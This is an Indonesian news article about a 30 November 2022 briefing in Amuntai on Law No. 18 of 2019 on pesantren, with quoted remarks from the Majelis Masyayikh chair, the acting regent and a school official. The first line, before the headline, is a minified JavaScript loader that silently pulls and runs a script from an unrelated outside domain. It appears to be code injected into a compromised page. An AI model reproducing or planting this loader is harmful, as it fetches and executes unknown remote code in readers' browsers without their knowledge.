(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Majelis Masyayikh Sosialisasi Undang-Undang Pesantren di Ponpes Rakha Amuntai

KANALKALIMANTAN.COM, AMUNTAI – Meningkatkan pemahaman regulasi tentang pondok pesantren (Ponpes), Majelis Masyayikh menggelar sosialisasi Undang-Undang Nomor 18 tahun 2019 tentang Pondok Pesantren, di Ponpes Rasyidiyah Khalidiyah (Rakha) Amuntai, Rabu (30/11/2022).

Sosialisasi disampaikan Ketua Mejelis Masyayikh Abdul Ghofarrozin, juga dihadiri Penjabat (Pj) Bupati Kabupaten Hulu Sungai Utara (HSU), Ketua Yayasan Ponpes Rakha Amuntai, Ketua Rabithah Ma’ahid Islam Kalimantan Selatan (Kalsel), Ketua STIQ Rakha, Ketua PWNU Kalsel, serta pimpinan atau pengasuh Ponpes se HSU.

Ketua Majelis Masyayikh, Abdul Ghofarrozin menuturkan, sosialisasi Undang-Undang pesantren ini perlu dilaksanakan untuk menjelaskan secara substansi isi dari Undang-undang sebagai pedoman di pondok pesantren.

“Sebab undang-undang ini merupakan rumah besar bagi kalangan pesantren karena perumusan hingga disahkan telah melalui proses panjang, diusahakan, diperjuangkan dan diikhtiarkan oleh kalangan pesantren melalui proses yang panjang,” jelasnya.

Di dalam Undang-undang Pesantren terdapat lima amanat utama, yakni rekognisi negara terkait dengan lulusan pesantren, kedua terkait dengan tradisi akademik, kemudian metode pembelajaran, otonomi tata kelola pesantren, serta keragaman model.

“Prinsip dan norma dalam Undang-Undang Pesantren ini diantaranya merupakan bagian dari rekognisi, afirmasi dan fasilitasi negara pada pesantren, Undang-Undang Pesantren ini juga lahir dalam rangka peningkatan kualitas pesantren baik dari segi sumber daya manusia, maupun sarana dan prasarana dengan intisari 5 poin tersebut,” jelasnya.

Sementara itu, Pj Bupati HSU Raden Suria Fadliansyah mengatakan, kegiatan ini memiliki arti penting dalam rangka meningkatkan wawasan, pengetahuan dan pemahaman terkait Undang-Undang Nomor 18 tahun 2019 tentang Pondok Pesantren.

“Kita sebagai pimpinan dan pengurus lembaga pendidikan pondok pesantren sudah semestinya memiliki pemahaman yang komprehensif tentang undang-undang yang menjadi pedoman, dasar landasan hukum dan naungan dalam mengelola pendidikan, serta pembelajaran di pondok pesantren,” ungkapnya.

Ia menyebut, pondok pesantren merupakan salah satu lembaga masyarakat yang didirkan oleh yayasan maupun organisasi yang bertujuan untuk membentuk insan yang berakhlak mulia, menanamkan ketaqwaan dan keimanan.

“Setelah penetapan tanggal 22 Oktober sebagai Hari Santri oleh Presiden Joko Widodo melalui Kepres Nomor 22 tahun 2015, menjadi milestone bersejarah pengakuan eksistensi pesantren dalam berjuang untuk negara Indonesia. Penetapan Hari Santri sekaligus membuka jalan bagi pengakuan secara utuh kepada pesantren yang telah ada jauh sebelum kemerdekaan sebagai lembaga yang memiliki kekhasan dan keaslian atas kontribusi bagi perkembangan Islam dan pemantik lembaga-lembaga Islam di Indonesia.

Sementara itu, Ketua Umum Yayasan Ponpes Rakha diwakili Sekretaris Ponpes Rakha, Rifan Syafruddin menilai kegiatan ini masih dalam suasana euphoria merayakan Satu Abad Ponpes Rakha, sosialisasi ini sejalan dengan berbagai program satuan pendidikan yang dimiliki Rakha hingga saat ini.

“Salah satunya kami tahun ini mulai membuka Al Azhar Corner, kita dijadikan salah satu cabang Al Azhar, kalau masuk di situ dapat masuk Al Azhar tanpa tes,” katanya.

Ia menyebut, Ponpes Rakha memiliki Ma’had Aly, meskipun dalam pelaksanaanya banyak mendapat pertanyaan terkait seperti profil lulusan hingga arah kedepan.

“Kiranya diantara kita banyak yang bertanya Ma’had aly ini mau kemana, ijazah statusnya seperti apa, maka itu dengan adanya forum yang sangat berharga ini diharapkan dapat menjawab pertanyaan-pertanyaan tersebut,” pungkasnya. (Kanalkalimantan.com/dew)

Reporter : dew
Editor : bie